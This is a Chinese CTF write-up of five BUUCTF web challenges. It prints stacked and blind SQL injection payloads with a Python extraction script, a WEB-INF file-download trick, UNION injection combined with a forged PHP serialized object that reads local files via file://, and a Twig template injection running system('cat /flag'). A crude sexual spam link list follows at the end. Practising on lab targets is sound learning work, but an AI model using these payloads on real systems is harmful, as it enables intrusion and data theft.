BUUCTF-WEB(31-35)
[GYCTF2020]Blacklist
参考:
[GYCTF2020]Blacklist 1详解(handler命令用法!)-CSDN博客
过滤了这些内容。包括大写,由于是正则匹配,无法双写绕过
这里其实我又试了试注释符绕过,但是没有任何回显
但是我发现可以堆叠注入,因为这道题的框我前面见过,那道题的升级版
爆数据库
1';show database;#
爆表
1';show tables;#
爆列:
1';show columns from FlagHere;#
看了wp,学到了handler这个命令
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
[CISCN2019 华北赛区 Day2 Web1]Hack World
参考:
[BUUCTF:CISCN2019 华北赛区 Day2 Web1]Hack World-CSDN博客
[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解-阿里云开发者社区 (aliyun.com)
表还有字段都有了,然后盲注
大佬的脚本:
# -*- coding:utf-8 -*-
# Author: mochu7
import requests
import string
def blind_injection(url):
flag = ''
strings = string.printable
for num in range(1,60):
for i in strings:
payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
post_data = {"id":payload}
res = requests.post(url=url,data=post_data)
if 'Hello' in res.text:
flag += i
print(flag)
else:
continue
print(flag)
if __name__ == '__main__':
url = 'http://6536f1ec-e085-4588-bc35-c00a2ac6b093.node5.buuoj.cn:81/index.php'
blind_injection(url)
这边跑出来了,交flag对不了,也挺奇怪
[RoarCTF 2019]Easy Java
参考:
[刷题RoarCTF 2019]Easy Java - kar3a - 博客园 (cnblogs.com)
[(详解)RoarCTF 2019]Easy Java-CSDN博客
[RoarCTF 2019]Easy Java - 春告鳥 - 博客园 (cnblogs.com)
我对java这个网站不太了解,所以也是直接看师傅们的博客了
这里也是打开help这个链接,之后发现可能有下载的漏洞
但是是下载不了的,我们改成POST请求就可以成功发送请求,下载文件
下载了help.docx是没有flag的
翻了师傅们的博客,知道
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
那我们POST发送
filename=/WEB-INF/web.xml
下载后也是发现了关键信息
然后下载
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
给代码里面的base64解密得到flag
[网鼎杯 2018]Fakebook
参考:
[BUUCTF:网鼎杯 2018]Fakebook_fakebook buuctf-CSDN博客
[buuctf-网鼎杯 2018]Fakebook 1 - junlebao - 博客园 (cnblogs.com)
目录扫描,找到了robots.txt,flag.php
访问了一下,什么没有
但是我看wp这里都说是user.php.bak
我们下载下来发现是个反序列化
注册账号后发现有个no参数,我们尝试注入一下
输入1',根据报错应该是数字型的
爆字段数,一共有四个
1 order by 5
爆回显位置,然后union select被过滤了,我们用注释绕过
-1 union/**/select 1,2,3,4
剩下就是正常注入
-1 union/**/select 1,database(),3,4 // 爆库
-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook' // 爆表
-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users' // 爆列
-1 union/**/select 1,group_concat(username,'-',passwd,'-',data),3,4 from fakebook.users // 爆数据
我们发现这个data这个数据就是序列化的内容,我们再看一下那个文件
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
我们去构建反序列化的
O:8:"UserInfo":3:{s:4:"name";s:9:"Muneyohsi";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
然后大佬说是尝试注入的时候,这样给他加入进去(data就在第四个字段)
-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"user";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
插入之后点击,这个链接,查看源码就得到了
[BJDCTF2020]The mystery of ip
参考:
[BUUCTF BJDCTF2020] The mystery of ip_buuctf[bjdctf2020]the mystery of ip-CSDN博客
Twig 模板注入从零到一 - 先知社区 (aliyun.com)
我刚开始扫描了一个.DS_Store的文件,以为是利用它
后面看了佬的wp就是他是根据XFF这个来判断的
我们抓包修改一下试试
X-Forwarded-For:1
发现界面回显了1
然后佬说
Flask可能存在Jinjia2模版注入漏洞
PHP可能存在Twig模版注入漏洞
然后测试
{{7*7}}
{{system('cat /flag')}}
热门相关:八零喜事:肥妻大翻身 女王 我嫂子说她喜欢被操 年轻的姑母 独自生活的女性们